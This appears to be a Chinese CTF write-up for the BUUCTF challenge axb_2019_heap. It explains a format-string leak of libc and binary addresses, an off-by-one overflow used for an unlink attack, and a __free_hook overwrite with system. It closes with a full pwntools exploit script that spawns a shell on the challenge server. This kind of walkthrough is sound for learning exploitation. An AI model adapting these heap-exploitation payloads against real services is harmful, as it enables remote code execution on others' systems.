buuctf axb_2019_heap

拖进IDA之后,发现输入函数是存在off-by-one漏洞的,可以进行溢出
在这里插入图片描述
同时存在全局指针数组,就可以利用这个溢出来构造fake chunk,然后实现unlink
除此之外,这个程序malloc的大小是不能小于0x80的,额。。。其实这个不重要,问题不大,注意下就好了
但是,程序的保护全都开启了
在这里插入图片描述
也就是说,程序的地址是随机的,我们并不知道chunk指针的存放地址
如何泄露呢?这时还发现程序开头存在格式化字符串的漏洞
在这里插入图片描述
打开调试,输入8个a,在printf(&format)这里停一下,然后看下栈
在这里插入图片描述
发现栈中存在__libc_start_main+240的地址,和程序main函数的地址
因此,我们可以通过格式化字符串泄露出这两个地址,然后计算出libc_base和程序基地址
经过调试,这两个地址分别是第15和第19个参数

libc=ELF('./libc-2.23.so')
sh.recvuntil("Enter your name: ")
sh.sendline("%15$p%19$p")
sh.recvuntil("0x")
addr1=int(sh.recvuntil("0x")[:-2],16)
libc_base=addr1-240-libc.symbols["__libc_start_main"]
addr2=int(sh.recvuntil("\n")[:-1],16)
base=addr2-0x116a
info("libc_base:0x%x",libc_base)
info("base:0x%x",base)

0x116a是这里得来的
在这里插入图片描述

在这里插入图片描述
好的,成功了,这题已经搞定了一半了

ptr=base+0x202060
#free_got=base+0x201F58
system_addr=libc_base+libc.symbols["system"]
free_hook=libc_base+libc.symbols["__free_hook"]

计算出几个要用到的东西的地址

add(0,0x98,'aaaaaaaa')
add(1,0x90,'bbbbbbbb')
payload=p64(0)+p64(0x91)+p64(ptr-0x18)+p64(ptr-0x10)
payload+="a"*0x70+p64(0x90)+"\xa0"
edit(0,payload)

布置好可以触发unlink的数据

delete(1)

unlink,每次到这一步就莫名激动
现在我们已经控制了chunk指针处的数据了,想干嘛就干嘛

payload=p64(0)*3+p64(free_hook)+p64(0x38)
payload+=p64(ptr+0x18)+"/bin/sh\x00"
edit(0,payload)

将free_hook写在chunk0指针处,企图劫持free_hook,同时写入"/bin/sh"
3个p64(0)填充,0x38这里是chunk0数据大小,这个数据随意,足够我们将payload写入就行

payload=p64(system_addr)
edit(0,payload)
delete(1)
sh.interactive()

将system_addr写到free_hook
执行free(chunk1)即可

最后写一下自己犯的两个错误,第一个就是计算0x90+0x10的时候算成了0x100。。。。。
第二个就是我一开始企图修改free_got,后来想起来程序开了Full Relro(应该是这个原因),导致改写不了
然后,完整exp:

from pwn import *
sh=remote("node3.buuoj.cn",26035)
context.log_level='debug'
elf=ELF('axb_2019_heap')
libc=ELF('./libc-2.23.so')
def add(idx,size,content):
	sh.sendlineafter(">> ","1")
	sh.recvuntil("(0-10):")
	sh.sendline(str(idx))
	sh.recvuntil("Enter a size:\n")
	sh.sendline(str(size))
	sh.recvuntil("Enter the content: \n")
	sh.sendline(content)
def edit(idx,content):
	sh.sendlineafter(">> ","4")
	sh.recvuntil("Enter an index:\n")
	sh.sendline(str(idx))
	sh.recvuntil("Enter the content: \n")
	sh.sendline(content)
def delete(idx):
	sh.sendlineafter(">> ","2")
	sh.recvuntil("Enter an index:\n")
	sh.sendline(str(idx))

sh.recvuntil("Enter your name: ")
sh.sendline("%15$p%19$p")
sh.recvuntil("0x")
addr1=int(sh.recvuntil("0x")[:-2],16)
libc_base=addr1-240-libc.symbols["__libc_start_main"]
addr2=int(sh.recvuntil("\n")[:-1],16)
base=addr2-0x116a
info("libc_base:0x%x",libc_base)
info("base:0x%x",base)

ptr=base+0x202060
#free_got=base+0x201F58
system_addr=libc_base+libc.symbols["system"]
free_hook=libc_base+libc.symbols["__free_hook"]

add(0,0x98,'aaaaaaaa')
add(1,0x90,'bbbbbbbb')
payload=p64(0)+p64(0x91)+p64(ptr-0x18)+p64(ptr-0x10)
payload+="a"*0x70+p64(0x90)+"\xa0"
edit(0,payload)

delete(1)

payload=p64(0)*3+p64(free_hook)+p64(0x38)
payload+=p64(ptr+0x18)+"/bin/sh\x00"
edit(0,payload)
payload=p64(system_addr)
edit(0,payload)
delete(1)
sh.interactive()

猜你喜欢

转载自blog.csdn.net/weixin_45677731/article/details/108763362